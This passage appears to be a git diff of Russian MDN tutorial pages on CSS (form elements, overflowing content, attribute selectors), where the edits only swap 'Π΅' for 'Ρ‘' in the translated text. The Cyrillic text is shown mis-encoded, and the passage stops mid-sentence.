+<p>Если Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π΅Ρ‚Π΅ эти ΡƒΡ€ΠΎΠΊΠΈ ΠΏΠΎ порядку, Ρ‚ΠΎΠ³Π΄Π° Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π΅Ρ‰Ρ‘ Π½Π΅ рассматривали layout. ΠŸΡ€ΠΎΡΡ‚ΠΎ Π΄Π΅Ρ€ΠΆΠΈΡ‚Π΅ Π² ΡƒΠΌΠ΅, Ρ‡Ρ‚ΠΎ Π·Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹Π΅ элСмСнты, ΡΡ‚Π°Π½ΠΎΠ²ΡΡΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ grid- ΠΈΠ»ΠΈ flex-Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΈΠ½Π°Ρ‡Π΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΈΡ… странного растяТСния ΠΏΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅.</p>
<p>Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ€Π°ΡΡ‚ΡΠ½ΡƒΡ‚ΡŒΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ grid-ячСйку, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ:</p>
@@ -93,14 +93,14 @@ translation_of: Learn/CSS/Building_blocks/Images_media_form_elements
<p>{{EmbedGHLiveSample("css-examples/learn/images/form.html", '100%', 1000)}}</p>
<div class="blockIndicator warning">
-<p><strong>Π’Π°ΠΆΠ½ΠΎ: </strong> <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ стиля элСмСнтов Ρ„ΠΎΡ€ΠΌΡ‹ слСдуСт ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒ ΠΎΡΡ‚ΠΎΡ€ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ всС Π΅Ρ‰Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ элСмСнтами Ρ„ΠΎΡ€ΠΌ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ Π²Π²ΠΎΠ΄Π° Π±Π΅Π· Π³Ρ€Π°Π½ΠΈΡ† ΠΈ Ρ„ΠΎΠ½Π°, которая практичСски Π½Π΅ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΌΠ° ΠΎΡ‚ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ слоТно распознаваСмой, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π΅.</span></span></p>
+<p><strong>Π’Π°ΠΆΠ½ΠΎ: </strong> <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ стиля элСмСнтов Ρ„ΠΎΡ€ΠΌΡ‹ слСдуСт ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒ ΠΎΡΡ‚ΠΎΡ€ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ всС Π΅Ρ‰Ρ‘ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ элСмСнтами Ρ„ΠΎΡ€ΠΌ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ Π²Π²ΠΎΠ΄Π° Π±Π΅Π· Π³Ρ€Π°Π½ΠΈΡ† ΠΈ Ρ„ΠΎΠ½Π°, которая практичСски Π½Π΅ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΌΠ° ΠΎΡ‚ ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ это ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ слоТно распознаваСмой, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π΅.</span></span></p>
</div>
<p>Как объяснСно Π² ΡƒΡ€ΠΎΠΊΠ΅ <a href="/en-US/docs/Learn/Forms/Styling_web_forms">стилизация Ρ„ΠΎΡ€ΠΌ</a> Π² части HTML этого курса, <span class="tlid-translation translation" lang="ru"><span title="">ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· Π±ΠΎΠ»Π΅Π΅ слоТных Ρ‚ΠΈΠΏΠΎΠ² Π²Π²ΠΎΠ΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмой ΠΈ Π½Π΅ доступны для стилизации. </span></span><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ для Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ слоТныС Ρ„ΠΎΡ€ΠΌΡ‹ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</span></span></p>
<h3 id="НаслСдованиС_ΠΈ_элСмСнты_Ρ„ΠΎΡ€ΠΌ">НаслСдованиС ΠΈ элСмСнты Ρ„ΠΎΡ€ΠΌ</h3>
-<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, элСмСнты Ρ„ΠΎΡ€ΠΌ Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΡΡ‚ΠΈΠ»ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ Ρ‡Ρ‚ΠΎ ваши поля Ρ„ΠΎΡ€ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² body ΠΈΠ»ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π² ваш CSS.</p>
+<p>Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, элСмСнты Ρ„ΠΎΡ€ΠΌ Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΡΡ‚ΠΈΠ»ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌΠΈ Ρ‡Ρ‚ΠΎ ваши поля Ρ„ΠΎΡ€ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π² body ΠΈΠ»ΠΈ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π² ваш CSS.</p>
<pre class="brush: css"><code>button,
input,
@@ -135,7 +135,7 @@ textarea {
<h3 id="Π‘ΠΎΠ±ΠΈΡ€Π°Π΅ΠΌ_всС_вмСстС_Π²_ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ">Π‘ΠΎΠ±ΠΈΡ€Π°Π΅ΠΌ всС вмСстС Π² "ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ"</h3>
-<p>Π’ качСствС послСднСго шага, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства, обсуТдаСмыС<span class="tlid-translation translation" lang="ru"><span title=""> Π²Ρ‹ΡˆΠ΅, Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Β«Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈΒ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Π½Π½ΡƒΡŽ основу для Ρ€Π°Π±ΠΎΡ‚Ρ‹. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ всС элСмСнты упомянутыС Π² послСдних Ρ‚Ρ€Π΅Ρ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…:</span></span></p>
+<p>Π’ качСствС послСднСго шага, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ свойства, обсуТдаСмыС<span class="tlid-translation translation" lang="ru"><span title=""> Π²Ρ‹ΡˆΠ΅, Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Β«Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈΒ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΡΠΎΠ³Π»Π°ΡΠΎΠ²Π°Π½Π½ΡƒΡŽ основу для Ρ€Π°Π±ΠΎΡ‚Ρ‹. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ всС элСмСнты упомянутыС Π² послСдних Ρ‚Ρ€Ρ‘Ρ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…:</span></span></p>
<pre class="brush: css"><code>button,
input,
diff --git a/files/ru/learn/css/building_blocks/overflowing_content/index.html b/files/ru/learn/css/building_blocks/overflowing_content/index.html
index 919bed3501..72bcc84f37 100644
--- a/files/ru/learn/css/building_blocks/overflowing_content/index.html
+++ b/files/ru/learn/css/building_blocks/overflowing_content/index.html
@@ -22,11 +22,11 @@ translation_of: Learn/CSS/Building_blocks/Overflowing_content
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_overflow">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅Β overflow?</h2>
-<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ всС Π² Β CSS -Β Π±Π»ΠΎΠΊΠΈ, ΠΈ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌΒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ этих Π±Π»ΠΎΠΊΠΎΠ² присваивая ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ посрСдством {{cssxref("width")}} ΠΈΒ {{cssxref("height")}} (ΠΈΠ»ΠΈΒ {{cssxref("inline-size")}} ΠΈΒ {{cssxref("block-size")}}). Overflow это Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ случаСтся, ΠΊΠΎΠ³Π΄Π° Ρƒ вас слишком ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Π±Π»ΠΎΠΊΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ помСщаСтся Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ. CSS Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ инструмСнты для управлСния этим overflow, ΠΈ это Ρ‚Π°ΠΊΠΆΠ΅ полСзная концСпция для понимания Π½Π° этой Ρ€Π°Π½Π½Π΅ΠΉ стадии. Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°Ρ‚ΡŒΡΡ с overflow достаточно часто ΠΊΠΎΠ³Π΄Π° ΠΏΠΈΡˆΠΈΡ‚Π΅Β CSS, особСнно ΠΊΠΎΠ³Π΄Π° Π³Π»ΡƒΠ±ΠΆΠ΅ ΠΏΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ΡΡŒ Π² CSS ΠΌΠ°ΠΊΠ΅Ρ‚.</p>
+<p>ΠœΡ‹ ΡƒΠΆΠ΅ Π·Π½Π°Π΅ΠΌ Ρ‡Ρ‚ΠΎ всС Π² Β CSS -Β Π±Π»ΠΎΠΊΠΈ, ΠΈ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌΒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ этих Π±Π»ΠΎΠΊΠΎΠ² присваивая ΠΈΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ посрСдством {{cssxref("width")}} ΠΈΒ {{cssxref("height")}} (ΠΈΠ»ΠΈΒ {{cssxref("inline-size")}} ΠΈΒ {{cssxref("block-size")}}). Overflow это Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ случаСтся, ΠΊΠΎΠ³Π΄Π° Ρƒ вас слишком ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² Π±Π»ΠΎΠΊΠ΅, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ помСщаСтся Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ. CSS Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ инструмСнты для управлСния этим overflow, ΠΈ это Ρ‚Π°ΠΊΠΆΠ΅ полСзная концСпция для понимания Π½Π° этой Ρ€Π°Π½Π½Π΅ΠΉ стадии. Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°Ρ‚ΡŒΡΡ с overflow достаточно часто ΠΊΠΎΠ³Π΄Π° ΠΏΠΈΡˆΠΈΡ‚Π΅Β CSS, особСнно ΠΊΠΎΠ³Π΄Π° Π³Π»ΡƒΠ±ΠΆΠ΅ ΠΏΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ΡΡŒ Π² CSS ΠΌΠ°ΠΊΠ΅Ρ‚.</p>
<h2 id="CSS_пытаСтся_ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ_ΠΏΠΎΡ‚Π΅Ρ€ΠΈ_Π΄Π°Π½Π½Ρ‹Ρ…">CSS пытаСтся ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ "ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…"</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ с рассмотрСния Π΄Π²ΡƒΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ CSS Π²Π΅Π΄Π΅Ρ‚ сСбя ΠΊΠΎΠ³Π΄Π° Ρƒ вас overflow.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ с рассмотрСния Π΄Π²ΡƒΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ CSS Π²Π΅Π΄Ρ‘Ρ‚ сСбя ΠΊΠΎΠ³Π΄Π° Ρƒ вас overflow.</p>
<p>The first is a box that has been restricted in the block dimension by giving it a <code>height</code>. We have then added more content than there is space for in this box. The content is overflowing the box and laying itself rather messily over the paragraph below the box.</p>
diff --git a/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html b/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html
index de2d540a59..4051be5c83 100644
--- a/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html
+++ b/files/ru/learn/css/building_blocks/selectors/attribute_selectors/index.html
@@ -12,7 +12,7 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Attribute_selectors
---
<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors", "Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks")}}</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Как Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅ ΠΈΠ· курса ΠΎ HTML, элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‡Π°Π΅ΠΌΠΎΠΌ элСмСнтС.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π’ CSS Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСкторы Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°</span></span> <span class="tlid-translation translation" lang="ru"><span title="">для стилизации элСмСнтов с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΡƒΡ€ΠΎΠΊ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ сСлСкторы.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Как Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅ ΠΈΠ· курса ΠΎ HTML, элСмСнты ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‡Π°Π΅ΠΌΠΎΠΌ элСмСнтС.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π’ CSS Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСкторы Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°</span></span> <span class="tlid-translation translation" lang="ru"><span title="">для стилизации элСмСнтов с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΡƒΡ€ΠΎΠΊ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ сСлСкторы.</span></span></p>
<table class="learn-box standard-table">
<tbody>
@@ -120,14 +120,14 @@ original_slug: Learn/CSS/Building_blocks/Π‘Π΅Π»Π΅ΠΊΡ‚ΠΎΡ€Ρ‹/Attribute_selectors
<h2 id="Π§ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_ΠΊ_рСгистру">Π§ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊ рСгистру</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра</span></span><span class="tlid-translation translation" lang="ru"><span title="">, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span></span> <code>i</code> ΠΏΠ΅Ρ€Π΅Π΄ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ скобкой. Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠ·Π½Π°ΠΊ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ символы ASCII Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠΏΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒΡΡ Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра. <span class="tlid-translation translation" lang="ru"><span title="">Π‘Π΅Π· этого ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠ° значСния Π±ΡƒΠ΄ΡƒΡ‚ сопоставлСны Π² соотвСтствии с Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΊ рСгистру языка Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</span></span> β€” <span class="tlid-translation translation" lang="ru"><span title="">Π² случаС HTML такая Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ присутствуСт</span></span>.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра</span></span><span class="tlid-translation translation" lang="ru"><span title="">, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</span></span> <code>i</code> ΠΏΠ΅Ρ€Π΅Π΄ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ скобкой. Π­Ρ‚ΠΎΡ‚ 